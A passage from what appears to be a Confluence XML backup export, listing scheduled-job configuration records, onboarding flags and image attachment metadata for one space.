||||
<property name="key"><![CDATA[AO_A0B856_#]]></property>
|
||||
<property name="value"><![CDATA[<string>1</string>]]></property>
|
||||
</object>
|
||||
<object class="ConfluenceBandanaRecord" package="com.atlassian.confluence.setup.bandana">
|
||||
<id name="id">32772</id>
|
||||
<property name="context"><![CDATA[_GLOBAL]]></property>
|
||||
<property name="key"><![CDATA[synchrony_collaborative_editor_UUID]]></property>
|
||||
<property name="value"><![CDATA[<string>d32aafab-7f6d-4630-a017-f69b71948e20</string>]]></property>
|
||||
</object>
|
||||
<object class="ConfluenceBandanaRecord" package="com.atlassian.confluence.setup.bandana">
|
||||
<id name="id">32773</id>
|
||||
<property name="context"><![CDATA[com.atlassian.confluence.efi.store.GlobalStorageServiceImpl]]></property>
|
||||
<property name="key"><![CDATA[efi.store.onboarding.plugin-installed-date-in-millis]]></property>
|
||||
<property name="value"><![CDATA[<string>1699509752102</string>]]></property>
|
||||
</object>
|
||||
<object class="ConfluenceBandanaRecord" package="com.atlassian.confluence.setup.bandana">
|
||||
<id name="id">32866</id>
|
||||
<property name="context"><![CDATA[com.atlassian.confluence.schedule.ScheduledJobConfiguration]]></property>
|
||||
<property name="key"><![CDATA[DEFAULT#DailyReportJob]]></property>
|
||||
<property name="value"><![CDATA[<com.atlassian.confluence.schedule.ScheduledJobConfiguration>
|
||||
<enabled>true</enabled>
|
||||
<cronSchedule/>
|
||||
<repeatInterval/>
|
||||
</com.atlassian.confluence.schedule.ScheduledJobConfiguration>]]></property>
|
||||
</object>
|
||||
<object class="ConfluenceBandanaRecord" package="com.atlassian.confluence.setup.bandana">
|
||||
<id name="id">32867</id>
|
||||
<property name="context"><![CDATA[com.atlassian.confluence.schedule.ScheduledJobConfiguration]]></property>
|
||||
<property name="key"><![CDATA[DEFAULT#cacheStatsJob]]></property>
|
||||
<property name="value"><![CDATA[<com.atlassian.confluence.schedule.ScheduledJobConfiguration>
|
||||
<enabled>true</enabled>
|
||||
<cronSchedule/>
|
||||
<repeatInterval/>
|
||||
</com.atlassian.confluence.schedule.ScheduledJobConfiguration>]]></property>
|
||||
</object>
|
||||
<object class="ConfluenceBandanaRecord" package="com.atlassian.confluence.setup.bandana">
|
||||
<id name="id">32864</id>
|
||||
<property name="context"><![CDATA[com.atlassian.confluence.schedule.ScheduledJobConfiguration]]></property>
|
||||
<property name="key"><![CDATA[DEFAULT#BackupJob]]></property>
|
||||
<property name="value"><![CDATA[<com.atlassian.confluence.schedule.ScheduledJobConfiguration>
|
||||
<enabled>true</enabled>
|
||||
<cronSchedule/>
|
||||
<repeatInterval/>
|
||||
</com.atlassian.confluence.schedule.ScheduledJobConfiguration>]]></property>
|
||||
</object>
|
||||
<object class="ConfluenceBandanaRecord" package="com.atlassian.confluence.setup.bandana">
|
||||
<id name="id">32865</id>
|
||||
<property name="context"><![CDATA[com.atlassian.confluence.schedule.ScheduledJobConfiguration]]></property>
|
||||
<property name="key"><![CDATA[DEFAULT#SynchronyEventsSoftRemovalScheduledJob]]></property>
|
||||
<property name="value"><![CDATA[<com.atlassian.confluence.schedule.ScheduledJobConfiguration>
|
||||
<enabled>true</enabled>
|
||||
<cronSchedule/>
|
||||
<repeatInterval/>
|
||||
</com.atlassian.confluence.schedule.ScheduledJobConfiguration>]]></property>
|
||||
</object>
|
||||
<object class="ConfluenceBandanaRecord" package="com.atlassian.confluence.setup.bandana">
|
||||
<id name="id">32862</id>
|
||||
<property name="context"><![CDATA[com.atlassian.confluence.schedule.ScheduledJobConfiguration]]></property>
|
||||
<property name="key"><![CDATA[DEFAULT#MailQueueFlushJob]]></property>
|
||||
<property name="value"><![CDATA[<com.atlassian.confluence.schedule.ScheduledJobConfiguration>
|
||||
<enabled>true</enabled>
|
||||
<cronSchedule/>
|
||||
<repeatInterval/>
|
||||
</com.atlassian.confluence.schedule.ScheduledJobConfiguration>]]></property>
|
||||
</object>
|
||||
<object class="ConfluenceBandanaRecord" package="com.atlassian.confluence.setup.bandana">
|
||||
<id name="id">32863</id>
|
||||
<property name="context"><![CDATA[com.atlassian.confluence.schedule.ScheduledJobConfiguration]]></property>
|
||||
<property name="key"><![CDATA[DEFAULT#SchedulerRunDetailsPurgeJob]]></property>
|
||||
<property name="value"><![CDATA[<com.atlassian.confluence.schedule.ScheduledJobConfiguration>
|
||||
<enabled>true</enabled>
|
||||
<cronSchedule/>
|
||||
<repeatInterval/>
|
||||
</com.atlassian.confluence.schedule.ScheduledJobConfiguration>]]></property>
|
||||
</object>
|
||||
<object class="ConfluenceBandanaRecord" package="com.atlassian.confluence.setup.bandana">
|
||||
<id name="id">32860</id>
|
||||
<property name="context"><![CDATA[com.atlassian.confluence.schedule.ScheduledJobConfiguration]]></property>
|
||||
<property name="key"><![CDATA[DEFAULT#ClearExpiredRememberMeTokensJob]]></property>
|
||||
<property name="value"><![CDATA[<com.atlassian.confluence.schedule.ScheduledJobConfiguration>
|
||||
<enabled>true</enabled>
|
||||
<cronSchedule/>
|
||||
<repeatInterval/>
|
||||
</com.atlassian.confluence.schedule.ScheduledJobConfiguration>]]></property>
|
||||
</object>
|
||||
<object class="ConfluenceBandanaRecord" package="com.atlassian.confluence.setup.bandana">
|
||||
<id name="id">32861</id>
|
||||
<property name="context"><![CDATA[com.atlassian.confluence.schedule.ScheduledJobConfiguration]]></property>
|
||||
<property name="key"><![CDATA[DEFAULT#SynchronyEventsHardRemovalScheduledJob]]></property>
|
||||
<property name="value"><![CDATA[<com.atlassian.confluence.schedule.ScheduledJobConfiguration>
|
||||
<enabled>false</enabled>
|
||||
<cronSchedule/>
|
||||
<repeatInterval/>
|
||||
</com.atlassian.confluence.schedule.ScheduledJobConfiguration>]]></property>
|
||||
</object>
|
||||
<object class="ConfluenceBandanaRecord" package="com.atlassian.confluence.setup.bandana">
|
||||
<id name="id">32858</id>
|
||||
<property name="context"><![CDATA[com.atlassian.confluence.schedule.ScheduledJobConfiguration]]></property>
|
||||
<property name="key"><![CDATA[DEFAULT#SystemMaintenanceTaskQueueFlusherScheduledJob]]></property>
|
||||
<property name="value"><![CDATA[<com.atlassian.confluence.schedule.ScheduledJobConfiguration>
|
||||
<enabled>true</enabled>
|
||||
<cronSchedule/>
|
||||
<repeatInterval/>
|
||||
</com.atlassian.confluence.schedule.ScheduledJobConfiguration>]]></property>
|
||||
</object>
|
||||
<object class="ConfluenceBandanaRecord" package="com.atlassian.confluence.setup.bandana">
|
||||
<id name="id">32859</id>
|
||||
<property name="context"><![CDATA[com.atlassian.confluence.schedule.ScheduledJobConfiguration]]></property>
|
||||
<property name="key"><![CDATA[DEFAULT#ClusterSafetyJob]]></property>
|
||||
<property name="value"><![CDATA[<com.atlassian.confluence.schedule.ScheduledJobConfiguration>
|
||||
<enabled>true</enabled>
|
||||
<cronSchedule/>
|
||||
<repeatInterval/>
|
||||
</com.atlassian.confluence.schedule.ScheduledJobConfiguration>]]></property>
|
||||
</object>
|
||||
<object class="ConfluenceBandanaRecord" package="com.atlassian.confluence.setup.bandana">
|
||||
<id name="id">32856</id>
|
||||
<property name="context"><![CDATA[com.atlassian.confluence.schedule.ScheduledJobConfiguration]]></property>
|
||||
<property name="key"><![CDATA[DEFAULT#IndexSnapshotCleaner]]></property>
|
||||
<property name="value"><![CDATA[<com.atlassian.confluence.schedule.ScheduledJobConfiguration>
|
||||
<enabled>true</enabled>
|
||||
<cronSchedule/>
|
||||
<repeatInterval/>
|
||||
</com.atlassian.confluence.schedule.ScheduledJobConfiguration>]]></property>
|
||||
</object>
|
||||
<object class="ConfluenceBandanaRecord" package="com.atlassian.confluence.setup.bandana">
|
||||
<id name="id">32857</id>
|
||||
<property name="context"><![CDATA[com.atlassian.confluence.schedule.ScheduledJobConfiguration]]></property>
|
||||
<property name="key"><![CDATA[DEFAULT#JmxAppLoggingJob]]></property>
|
||||
<property name="value"><![CDATA[<com.atlassian.confluence.schedule.ScheduledJobConfiguration>
|
||||
<enabled>true</enabled>
|
||||
<cronSchedule/>
|
||||
<repeatInterval/>
|
||||
</com.atlassian.confluence.schedule.ScheduledJobConfiguration>]]></property>
|
||||
</object>
|
||||
<object class="ConfluenceBandanaRecord" package="com.atlassian.confluence.setup.bandana">
|
||||
<id name="id">32854</id>
|
||||
<property name="context"><![CDATA[com.atlassian.confluence.schedule.ScheduledJobConfiguration]]></property>
|
||||
<property name="key"><![CDATA[DEFAULT#EhCacheCompactionJob]]></property>
|
||||
<property name="value"><![CDATA[<com.atlassian.confluence.schedule.ScheduledJobConfiguration>
|
||||
<enabled>true</enabled>
|
||||
<cronSchedule/>
|
||||
<repeatInterval/>
|
||||
</com.atlassian.confluence.schedule.ScheduledJobConfiguration>]]></property>
|
||||
</object>
|
||||
<object class="ConfluenceBandanaRecord" package="com.atlassian.confluence.setup.bandana">
|
||||
<id name="id">32855</id>
|
||||
<property name="context"><![CDATA[com.atlassian.confluence.schedule.ScheduledJobConfiguration]]></property>
|
||||
<property name="key"><![CDATA[DEFAULT#ReIndexHouseKeepingScheduledJob]]></property>
|
||||
<property name="value"><![CDATA[<com.atlassian.confluence.schedule.ScheduledJobConfiguration>
|
||||
<enabled>true</enabled>
|
||||
<cronSchedule/>
|
||||
<repeatInterval/>
|
||||
</com.atlassian.confluence.schedule.ScheduledJobConfiguration>]]></property>
|
||||
</object>
|
||||
<object class="ConfluenceBandanaRecord" package="com.atlassian.confluence.setup.bandana">
|
||||
<id name="id">32852</id>
|
||||
<property name="context"><![CDATA[com.atlassian.confluence.schedule.ScheduledJobConfiguration]]></property>
|
||||
<property name="key"><![CDATA[DEFAULT#LocalTaskQueueFlushJob]]></property>
|
||||
<property name="value"><![CDATA[<com.atlassian.confluence.schedule.ScheduledJobConfiguration>
|
||||
<enabled>true</enabled>
|
||||
<cronSchedule/>
|
||||
<repeatInterval/>
|
||||
</com.atlassian.confluence.schedule.ScheduledJobConfiguration>]]></property>
|
||||
</object>
|
||||
<object class="ConfluenceBandanaRecord" package="com.atlassian.confluence.setup.bandana">
|
||||
<id name="id">32853</id>
|
||||
<property name="context"><![CDATA[com.atlassian.confluence.schedule.ScheduledJobConfiguration]]></property>
|
||||
<property name="key"><![CDATA[DEFAULT#TrashHardRemovalScheduledJob]]></property>
|
||||
<property name="value"><![CDATA[<com.atlassian.confluence.schedule.ScheduledJobConfiguration>
|
||||
<enabled>false</enabled>
|
||||
<cronSchedule/>
|
||||
<repeatInterval/>
|
||||
</com.atlassian.confluence.schedule.ScheduledJobConfiguration>]]></property>
|
||||
</object>
|
||||
<object class="ConfluenceBandanaRecord" package="com.atlassian.confluence.setup.bandana">
|
||||
<id name="id">32882</id>
|
||||
<property name="context"><![CDATA[com.atlassian.confluence.schedule.ScheduledJobConfiguration]]></property>
|
||||
<property name="key"><![CDATA[DEFAULT#reminderJob]]></property>
|
||||
<property name="value"><![CDATA[<com.atlassian.confluence.schedule.ScheduledJobConfiguration>
|
||||
<enabled>true</enabled>
|
||||
<cronSchedule/>
|
||||
<repeatInterval/>
|
||||
</com.atlassian.confluence.schedule.ScheduledJobConfiguration>]]></property>
|
||||
</object>
|
||||
<object class="ConfluenceBandanaRecord" package="com.atlassian.confluence.setup.bandana">
|
||||
<id name="id">32883</id>
|
||||
<property name="context"><![CDATA[com.atlassian.confluence.schedule.ScheduledJobConfiguration]]></property>
|
||||
<property name="key"><![CDATA[DEFAULT#confluenceDailyStatisticsPublisherJob]]></property>
|
||||
<property name="value"><![CDATA[<com.atlassian.confluence.schedule.ScheduledJobConfiguration>
|
||||
<enabled>true</enabled>
|
||||
<cronSchedule/>
|
||||
<repeatInterval/>
|
||||
</com.atlassian.confluence.schedule.ScheduledJobConfiguration>]]></property>
|
||||
</object>
|
||||
<object class="ConfluenceBandanaRecord" package="com.atlassian.confluence.setup.bandana">
|
||||
<id name="id">32880</id>
|
||||
<property name="context"><![CDATA[com.atlassian.confluence.schedule.ScheduledJobConfiguration]]></property>
|
||||
<property name="key"><![CDATA[DEFAULT#onboardingNumberOfUsersCheckJob]]></property>
|
||||
<property name="value"><![CDATA[<com.atlassian.confluence.schedule.ScheduledJobConfiguration>
|
||||
<enabled>true</enabled>
|
||||
<cronSchedule/>
|
||||
<repeatInterval/>
|
||||
</com.atlassian.confluence.schedule.ScheduledJobConfiguration>]]></property>
|
||||
</object>
|
||||
<object class="Attachment" package="com.atlassian.confluence.pages">
|
||||
<id name="id">98355</id>
|
||||
<property name="hibernateVersion">3</property>
|
||||
<property name="title"><![CDATA[step-2-image-1.png]]></property>
|
||||
<property name="lowerTitle"><![CDATA[step-2-image-1.png]]></property>
|
||||
<collection name="contentProperties" class="java.util.Collection"><element class="ContentProperty" package="com.atlassian.confluence.content"><id name="id">262201</id>
|
||||
</element>
|
||||
<element class="ContentProperty" package="com.atlassian.confluence.content"><id name="id">262203</id>
|
||||
</element>
|
||||
<element class="ContentProperty" package="com.atlassian.confluence.content"><id name="id">262205</id>
|
||||
</element>
|
||||
<element class="ContentProperty" package="com.atlassian.confluence.content"><id name="id">262207</id>
|
||||
</element>
|
||||
</collection>
|
||||
<property name="version">1</property>
|
||||
<property name="creator" class="ConfluenceUserImpl" package="com.atlassian.confluence.user"><id name="key"><![CDATA[2c9280828bb2ac81018bb2ae01d80000]]></id>
|
||||
</property>
|
||||
<property name="creationDate">2020-10-26 15:44:29.341</property>
|
||||
<property name="lastModifier" class="ConfluenceUserImpl" package="com.atlassian.confluence.user"><id name="key"><![CDATA[2c9280828bb2ac81018bb2ae01d80000]]></id>
|
||||
</property>
|
||||
<property name="lastModificationDate">2023-11-09 06:03:45.265</property>
|
||||
<property name="versionComment"><![CDATA[]]></property>
|
||||
<property name="contentStatus"><![CDATA[current]]></property>
|
||||
<property name="containerContent" class="Page" package="com.atlassian.confluence.pages"><id name="id">98322</id>
|
||||
</property>
|
||||
<property name="space" class="Space" package="com.atlassian.confluence.spaces"><id name="id">131073</id>
|
||||
</property>
|
||||
</object>
|
||||
<object class="ConfluenceBandanaRecord" package="com.atlassian.confluence.setup.bandana">
|
||||
<id name="id">32881</id>
|
||||
<property name="context"><![CDATA[com.atlassian.confluence.efi.store.GlobalStorageServiceImpl]]></property>
|
||||
<property name="key"><![CDATA[efi.store.onboarding.onboardingNumberOfUsersCheckJob]]></property>
|
||||
<property name="value"><![CDATA[<string>JOB_FIRST_EXECUTE</string>]]></property>
|
||||
</object>
|
||||
<object class="Attachment" package="com.atlassian.confluence.pages">
|
||||
<id name="id">98356</id>
|
||||
<property name="hibernateVersion">3</property>
|
||||
<property name="title"><![CDATA[step-2-image-3.png]]></property>
|
||||
<property name="lowerTitle"><![CDATA[step-2-image-3.png]]></property>
|
||||
<collection name="contentProperties" class="java.util.Collection"><element class="ContentProperty" package="com.atlassian.confluence.content"><id name="id">262196</id>
|
||||
</element>
|
||||
<element class="ContentProperty" package="com.atlassian.confluence.content"><id name="id">262198</id>
|
||||
</element>
|
||||
<element class="ContentProperty" package="com.atlassian.confluence.content"><id name="id">262199</id>
|
||||
</element>
|
||||
<element class="ContentProperty" package="com.atlassian.confluence.content"><id name="id">262210</id>
|
||||
</element>
|
||||
</collection>
|
||||
<property name="version">1</property>
|
||||
<property name="creator" class="ConfluenceUserImpl" package="com.atlassian.confluence.user"><id name="key"><![CDATA[2c9280828bb2ac81018bb2ae01d80000]]></id>
|
||||
</property>
|
||||
<property name="creationDate">2020-10-26 15:44:29.341</property>
|
||||
<property name="lastModifier" class="ConfluenceUserImpl" package="com.atlassian.confluence.user"><id name="key"><![CDATA[2c9280828bb2ac81018bb2ae01d80000]]></id>
|
||||
</property>
|
||||
<property name="lastModificationDate">2023-11-09 06:03:45.265</property>
|
||||
<property name="versionComment"><![CDATA[]]></property>
|
||||
<property name="contentStatus"><![CDATA[current]]></property>
|
||||
<property name="containerContent" class="Page" package="com.atlassian.confluence.pages"><id name="id">98322</id>
|
||||
</property>
|
||||
<property name="space" class="Space" package="com.atlassian.confluence.spaces"><id name="id">131073</id>
|
||||
</property>
|
||||
</object>
|
||||
<object class="ConfluenceBandanaRecord" package="com.atlassian.confluence.setup.bandana">
|
||||
<id name="id">32878</id>
|
||||
<property name="context"><![CDATA[com.atlassian.confluence.schedule.ScheduledJobConfiguration]]></property>
|
||||
<property name="key"><![CDATA[DEFAULT#createBlueprintPageEntityCleanupJob]]></property>
|
||||
<property name="value"><![CDATA[<com.atlassian.confluence.schedule.ScheduledJobConfiguration>
|
||||
<enabled>true</enabled>
|
||||
<cronSchedule/>
|
||||
<repeatInterval/>
|
||||
</com.atlassian.confluence.schedule.ScheduledJobConfiguration>]]></property>
|
||||
</object>
|
||||
<object class="ConfluenceBandanaRecord" package="com.atlassian.confluence.setup.bandana">
|
||||
<id name="id">32879</id>
|
||||
<property name="context"><![CDATA[com.atlassian.confluence.schedule.ScheduledJobConfiguration]]></property>
|
||||
<property name="key"><![CDATA[DEFAULT#batchingJobConfig]]></property>
|
||||
<property name="value"><![CDATA[<com.atlassian.confluence.schedule.ScheduledJobConfiguration>
|
||||
<enabled>true</enabled>
|
||||
<cronSchedule/>
|
||||
<repeatInterval/>
|
||||
</com.atlassian.confluence.schedule.ScheduledJobConfiguration>]]></property>
|
||||
</object>
|
||||
<object class="ConfluenceBandanaRecord" package="com.atlassian.confluence.setup.bandana">
|
||||
<id name="id">32876</id>
|
||||
<property name="context"><![CDATA[com.atlassian.confluence.efi.store.GlobalStorageServiceImpl]]></property>
|
||||
<property name="key"><![CDATA[efi.store.onboarding.onboardingSpaceCheckJob]]></property>
|
||||
<property name="value"><![CDATA[<string>JOB_FIRST_EXECUTE</string>]]></property>
|
||||
</object>
|
||||
<object class="ConfluenceBandanaRecord" package="com.atlassian.confluence.setup.bandana">
|
||||
<id name="id">32877</id>
|
||||
<property name="context"><![CDATA[com.atlassian.confluence.schedule.ScheduledJobConfiguration]]></property>
|
||||
<property name="key"><![CDATA[DEFAULT#cleanupTrigger]]></property>
|
||||
<property name="value"><![CDATA[<com.atlassian.confluence.schedule.ScheduledJobConfiguration>
|
||||
<enabled>true</enabled>
|
||||
<cronSchedule/>
|
||||
<repeatInterval/>
|
||||
</com.atlassian.confluence.schedule.ScheduledJobConfiguration>]]></property>
|
||||
</object>
|
||||
<object class="ConfluenceBandanaRecord" package="com.atlassian.confluence.setup.bandana">
|
||||
<id name="id">32874</id>
|
||||
<property name="context"><![CDATA[com.atlassian.confluence.schedule.ScheduledJobConfiguration]]></property>
|
||||
<property name="key"><![CDATA[DEFAULT#summaryEmail]]></property>
|
||||
<property name="value"><![CDATA[<com.atlassian.confluence.schedule.ScheduledJobConfiguration>
|
||||
<enabled>true</enabled>
|
||||
<cronSchedule/>
|
||||
<repeatInterval/>
|
||||
</com.atlassian.confluence.schedule.ScheduledJobConfiguration>]]></property>
|
||||
</object>
|
||||
<object class="Attachment" package="com.atlassian.confluence.pages">
|
||||
<id name="id">98349</id>
|
||||
<property name="hibernateVersion">18</property>
|
||||
<property name="title"><![CDATA[next.jpg]]></property>
|
||||
<property name="lowerTitle"><![CDATA[next.jpg]]></property>
|
||||
<collection name="contentProperties" class="java.util.Collection"><element class="ContentProperty" package="com.atlassian.confluence.content"><id name="id">262225</id>
|
||||
</element>
|
||||
<element class="ContentProperty" package="com.atlassian.confluence.content"><id name="id">262233</id>
|
||||
</element>
|
||||
<element class="ContentProperty" package="com.atlassian.confluence.content"><id name="id">262237</id>
|
||||
</element>
|
||||
</collection>
|
||||
<property name="version">1</property>
|
||||
<property name="creationDate">2020-10-26 15:44:29.341</property>
|
||||
<property name="lastModificationDate">2023-11-09 06:03:45.265</property>
|
||||
<property name="versionComment"><![CDATA[]]></property>
|
||||
<property name="contentStatus"><![CDATA[current]]></property>
|
||||
<property name="containerContent" class="Page" package="com.atlassian.confluence.pages"><id name="id">98317</id>
|
||||
</property>
|
||||
<property name="space" class="Space" package="com.atlassian.confluence.spaces"><id name="id">131073</id>
|
||||
</property>
|
||||
</object>
|
||||
<object class="ConfluenceBandanaRecord" package="com.atlassian.confluence.setup.bandana">
|
||||
<id name="id">32875</id>
|
||||
<property name="context"><![CDATA[com.atlassian.confluence.schedule.ScheduledJobConfiguration]]></property>
|
||||
<property name="key"><![CDATA[DEFAULT#onboardingSpaceCheckJob]]></property>
|
||||
<property name="value"><![CDATA[<com.atlassian.confluence.schedule.ScheduledJobConfiguration>
|
||||
<enabled>true</enabled>
|
||||
<cronSchedule/>
|
||||
<repeatInterval/>
|
||||
</com.atlassian.confluence.schedule.ScheduledJobConfiguration>]]></property>
|
||||
</object>
|
||||
<object class="Attachment" package="com.atlassian.confluence.pages">
|
||||
<id name="id">98350</id>
|
||||
<property name="hibernateVersion">19</property>
|
||||
<property name="title"><![CDATA[step04-01.png]]></property>
|
||||
<property name="lowerTitle"><![CDATA[step04-01.png]]></property>
|
||||
<collection name="contentProperties" class="java.util.Collection"><element class="ContentProperty" package="com.atlassian.confluence.content"><id name="id">262202</id>
|
||||
</element>
|
||||
<element class="ContentProperty" package="com.atlassian.confluence.content"><id name="id">262208</id>
|
||||
</element>
|
||||
<element class="ContentProperty" package="com.atlassian.confluence.content"><id name="id">262234</id>
|
||||
</element>
|
||||
<element class="ContentProperty" package="com.atlassian.confluence.content"><id name="id">262241</id>
|
||||
</element>
|
||||
</collection>
|
||||
<property name="version">4</property>
|
||||
<property name="creationDate">2020-10-26 15:44:29.341</property>
|
||||
<property name="lastModificationDate">2023-11-09 06:03:45.265</property>
|
||||
<property name="versionComment"><![CDATA[]]></property>
|
||||
<property name="contentStatus"><![CDATA[current]]></property>
|
||||
<property name="containerContent" class="Page" package="com.atlassian.confluence.pages"><id name="id">98318</id>
|
||||
</property>
|
||||
<property name="space" class="Space" package="com.atlassian.confluence.spaces"><id name="id">131073</id>
|
||||
</property>
|
||||
</object>
|
||||
<object class="ConfluenceBandanaRecord" package="com.atlassian.confluence.setup.bandana">
|
||||
<id name="id">32872</id>
|
||||
<property name="context"><![CDATA[com.atlassian.confluence.schedule.ScheduledJobConfiguration]]></property>
|
||||
<property name="key"><![CDATA[DEFAULT#jira-metadata-cache-config]]></property>
|
||||
<property name="value"><![CDATA[<com.atlassian.confluence.schedule.ScheduledJobConfiguration>
|
||||
<enabled>true</enabled>
|
||||
<cronSchedule/>
|
||||
<repeatInterval/>
|
||||
</com.atlassian.confluence.schedule.ScheduledJobConfiguration>]]></property>
|
||||
</object>
|
||||
<object class="Attachment" package="com.atlassian.confluence.pages">
|
||||
<id name="id">98347</id>
|
||||
<property name="hibernateVersion">17</property>
|
||||
<property name="title"><![CDATA[start.jpg]]></property>
|
||||
<property name="lowerTitle"><![CDATA[start.jpg]]></property>
|
||||
<collection name="contentProperties" class="java.util.Collection"><element class="ContentProperty" package="com.atlassian.confluence.content"><id name="id">262206</id>
|
||||
</element>
|
||||
<element class="ContentProperty" package="com.atlassian.confluence.content"><id name="id">262231</id>
|
||||
</element>
|
||||
<element class="ContentProperty" package="com.atlassian.confluence.content"><id name="id">262232</id>
|
||||
</element>
|
||||
</collection>
|
||||
<property name="version">1</property>
|
||||
<property name="creationDate">2020-10-26 15:44:29.341</property>
|
||||
<property name="lastModificationDate">2023-11-09 06:03:45.265</property>
|
||||
<property name="versionComment"><![CDATA[]]></property>
|
||||
<property name="contentStatus"><![CDATA[current]]></property>
|
||||
<property name="containerContent" class="Page" package="com.atlassian.confluence.pages"><id name="id">98317</id>
|
||||
</property>
|
||||
<property name="space" class="Space" package="com.atlassian.confluence.spaces"><id name="id">131073</id>
|
||||
</property>
|
||||
</object>
|
||||
<object class="ConfluenceBandanaRecord" package="com.atlassian.confluence.setup.bandana">
|
||||
<id name="id">32873</id>
|
||||
<property name="context"><![CDATA[com.atlassian.confluence.schedule.ScheduledJobConfiguration]]></property>
|
||||
<property name="key"><![CDATA[DEFAULT#deletedInviteesCleanUpJob]]></property>
|
||||
<property name="value"><![CDATA[<com.atlassian.confluence.schedule.ScheduledJobConfiguration>
|
||||
<enabled>true</enabled>
|
||||
<cronSchedule/>
|
||||
<repeatInterval/>
|
||||
</com.atlassian.confluence.schedule.ScheduledJobConfiguration>]]></property>
|
||||
</object>
|
||||
<object class="Attachment" package="com.atlassian.confluence.pages">
|
||||
<id name="id">98348</id>
|
||||
<property name="hibernateVersion">20</property>
|
||||
<property name="title"><![CDATA[step06-image02.png]]></property>
|
||||
<property name="lowerTitle"><![CDATA[step06-image02.png]]></property>
|
||||
<collection name="contentProperties" class="java.util.Collection"><element class="ContentProperty" package="com.atlassian.confluence.content"><id name="id">262215</id>
|
||||
</element>
|
||||
<element class="ContentProperty" package="com.atlassian.confluence.content"><id name="id">262216</id>
|
||||
</element>
|
||||
<element class="ContentProperty" package="com.atlassian.confluence.content"><id name="id">262217</id>
|
||||
</element>
|
||||
<element class="ContentProperty" package="com.atlassian.confluence.content"><id name="id">262221</id>
|
||||
</element>
|
||||
</collection>
|
||||
<property name="version">3</property>
|
||||
<property name="creationDate">2020-10-26 15:44:29.341</property>
|
||||
<property name="lastModificationDate">2023-11-09 06:03:45.265</property>
|
||||
<property name="versionComment"><![CDATA[]]></property>
|
||||
<property name="contentStatus"><![CDATA[current]]></property>
|
||||
<property name="containerContent" class="Page" package="com.atlassian.confluence.pages"><id name="id">98321</id>
|
||||
</property>
|
||||
<property name="space" class="Space" package="com.atlassian.confluence.spaces"><id name="id">131073</id>
|
||||
</property>
|
||||
</object>
|
||||
<object class="ConfluenceBandanaRecord" package="com.atlassian.confluence.setup.bandana">
|
||||
<id name="id">32870</id>
|
||||
<property name="context"><![CDATA[com.atlassian.confluence.schedule.ScheduledJobConfiguration]]></property>
|
||||
<property name="key"><![CDATA[DEFAULT#flushEdgeIndexQueue]]></property>
|
||||
<property name="value"><![CDATA[<com.atlassian.confluence.schedule.ScheduledJobConfiguration>
|
||||
<enabled>true</enabled>
|
||||
<cronSchedule/>
|
||||
<repeatInterval/>
|
||||
</com.atlassian.confluence.schedule.ScheduledJobConfiguration>]]></property>
|
||||
</object>
|
||||
<object class="Attachment" package="com.atlassian.confluence.pages">
|
||||
<id name="id">98353</id>
|
||||
<property name="hibernateVersion">21</property>
|
||||
<property name="title"><![CDATA[step06-image01.png]]></property>
|
||||
<property name="lowerTitle"><![CDATA[step06-image01.png]]></property>
|
||||
<collection name="contentProperties" class="java.util.Collection"><element class="ContentProperty" package="com.atlassian.confluence.content"><id name="id">262218</id>
|
||||
</element>
|
||||
<element class="ContentProperty" package="com.atlassian.confluence.content"><id name="id">262219</id>
|
||||
</element>
|
||||
<element class="ContentProperty" package="com.atlassian.confluence.content"><id name="id">262220</id>
|
||||
</element>
|
||||
<element class="ContentProperty" package="com.atlassian.confluence.content"><id name="id">262261</id>
|
||||
</element>
|
||||
</collection>
|
||||
<property name="version">4</property>
|
||||
<property name="creationDate">2020-10-26 15:44:29.341</property>
|
||||
<property name="lastModificationDate">2023-11-09 06:03:45.265</property>
|
||||
<property name="versionComment"><![CDATA[]]></property>
|
||||
<property name="contentStatus"><![CDATA[current]]></property>
|
||||
<property name="containerContent" class="Page" package="com.atlassian.confluence.pages"><id name="id">98321</id>
|
||||
</property>
|
||||
<property name="space" class="Space" package="com.atlassian.confluence.spaces"><id name="id">131073</id>
|
||||
</property>
|
||||
</object>
|
||||
<object class="ConfluenceBandanaRecord" package="com.atlassian.confluence.setup.bandana">
|
||||
<id name="id">32871</id>
|
||||
<property name="context"><![CDATA[com.atlassian.confluence.schedule.ScheduledJobConfiguration]]></property>
|
||||
<property name="key"><![CDATA[DEFAULT#conversionQueueMonitor]]></property>
|
||||
<property name="value"><![CDATA[<com.atlassian.confluence.schedule.ScheduledJobConfiguration>
|
||||
<enabled>true</enabled>
|
||||
<cronSchedule/>
|
||||
<repeatInterval/>
|
||||
</com.atlassian.confluence.schedule.ScheduledJobConfiguration>]]></property>
|
||||
</object>
|
||||
<object class="Attachment" package="com.atlassian.confluence.pages">
|
||||
<id name="id">98354</id>
|
||||
<property name="hibernateVersion">3</property>
|
||||
<property name="title"><![CDATA[step05-01.png]]></property>
|
||||
<property name="lowerTitle"><![CDATA[step05-01.png]]></property>
|
||||
<collection name="contentProperties" class="java.util.Collection"><element class="ContentProperty" package="com.atlassian.confluence.content"><id name="id">262266</id>
|
||||
</element>
|
||||
<element class="ContentProperty" package="com.atlassian.confluence.content"><id name="id">262267</id>
|
||||
</element>
|
||||
<element class="ContentProperty" package="com.atlassian.confluence.content"><id name="id">262268</id>
|
||||
</element>
|
||||
<element class="ContentProperty" package="com.atlassian.confluence.content"><id name="id">262269</id>
|
||||
</element>
|
||||
</collection>
|
||||
<property name="version">1</property>
|
||||
<property name="creator" class="ConfluenceUserImpl" package="com.atlassian.confluence.user"><id name="key"><![CDATA[2c9280828bb2ac81018bb2ae01d80000]]></id>
|
||||
</property>
|
||||
<property name="creationDate">2020-10-26 15:44:29.341</property>
|
||||
<property name="lastModifier" class="ConfluenceUserImpl" package="com.atlassian.confluence.user"><id name="key"><![CDATA[2c9280828bb2ac81018bb2ae01d80000]]></id>
|
||||
</property>
|
||||
<property name="lastModificationDate">2023-11-09 06:03:45.265</property>
|
||||
<property name="versionComment"><![CDATA[]]></property>
|
||||
<property name="contentStatus"><![CDATA[current]]></property>
|
||||
<property name="containerContent" class="Page" package="com.atlassian.confluence.pages"><id name="id">98332</id>
|
||||
</property>
|
||||
<property name="space" class="Space" package="com.atlassian.confluence.spaces"><id name="id">131073</id>
|
||||
</property>
|
||||
</object>
|
||||
<object class="ConfluenceBandanaRecord" package="com.atlassian.confluence.setup.bandana">
|
||||
<id name="id">32868</id>
|
||||
<property name="context"><![CDATA[com.atlassian.confluence.schedule.ScheduledJobConfiguration]]></property>
|
||||
<property name="key"><![CDATA[DEFAULT#addonHouskeeperTrigger-v2]]></property>
|
||||
